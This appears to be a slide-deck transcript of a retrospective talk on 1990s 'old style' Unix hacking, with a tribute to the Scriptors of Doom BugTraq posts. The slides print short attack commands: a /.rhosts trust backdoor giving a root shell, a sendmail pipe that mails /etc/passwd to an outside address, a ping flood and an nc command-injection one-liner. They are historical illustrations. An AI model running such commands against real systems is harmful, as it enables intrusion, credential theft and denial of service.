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Old Style Hacking. A moment in security History. -- nikoteen. Buffer Overflow. libc. Format String. gdb. Windows. gcc. SSH. SoftIce. #include <stdio.h>. -- nikoteen. Buffer Overflow. libc. Format String. gdb. FOOD FOR KIDS. Windows. gcc. SSH. SoftIce. #include <stdio.h>.

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  1. Old Style Hacking A moment in securityHistory -- nikoteen

  2. Buffer Overflow libc Format String gdb Windows gcc SSH SoftIce #include <stdio.h> -- nikoteen

  3. Buffer Overflow libc Format String gdb FOOD FOR KIDS Windows gcc SSH SoftIce #include <stdio.h> -- nikoteen

  4. echo “+ +” > /.rhosts -- nikoteen

  5. THE HOLY GRAAL echo “+ +” > /.rhosts -- nikoteen

  6. Old Style Hacking(1996) Local exploit: echo “+ +” > /.rhostsremsh localhost -l root /bin/ksh -i -- nikoteen

  7. Old Style Hacking(1996) Remote exploit: telnet smtp.sstic.org 25mail from: "|/bin/mail nikoteen@no-log.org < /etc/passwd" -- nikoteen

  8. Old Style Hacking(1996) Denial of Service ping –f victime.sstic.org -- nikoteen

  9. A tribute toScriptors of Doom- From symlink to buffer overflows - To: BugTraq Subject: Date: Nov 16 1996 2:54AM Author: Scriptors of DOOM <sod command com inter net> Somehow I get the feeling that CIAC is trying to tell me something -- > One of the most common indications that a machine has been compromised > by these or similar vulnerabilities are links from a world writable > directory (such as /tmp) to a system file (such as /.rhosts) in a > directory requiring root privilege to write or create files there, and > /.rhosts files with ++ at the beginning of any line. I guess we've been laying it pretty heavy on the symlinks. Sorry. We'll apologize by skipping the symlink problem we were going to do this week and putting in something unrelated. Of course, now that our Lord & Master aleph1 has released a whole buncha good buffer-overflow stuff to Phrack, we figure now is a good time to follow that lead. /usr/diag/bin/mstm and cstm share the same stuffs in that regard, and they can both lead the unworthy to a higher purpose. -- nikoteen

  10. A tribute toScriptors of Doom- Shortest exploit in history ? - #!/bin/ksh echo ' 11T ;/bin/ksh' | nc $1 5556 # Yup, that's it. That's the hole.. Believe it. -- nikoteen

  11. A tribute toScriptors of Doom- Colonel Panic was never identified - I am his last and only fan.Please help ! -- nikoteen

  12. A tribute toScriptors of Doom- The HP Bug Of The Week -(1996-1997) http://www.clacbec.net/~null/sod.html -- nikoteen

  13. Old School Hacking- References - • “Improving the Security of Your Site by Breaking Into it” • Dan Farmer, Wietse Venema, 1993 • http://nsi.org/Library/Compsec/farmer.txt • “Smashing The Stack For Fun And Profit” • Aleph1, 1996 • http://www.phrack.org/phrack/49/P49-14 • Bugtraq Mailing-List • http://www.securityfocus.com/archive/1 -- nikoteen

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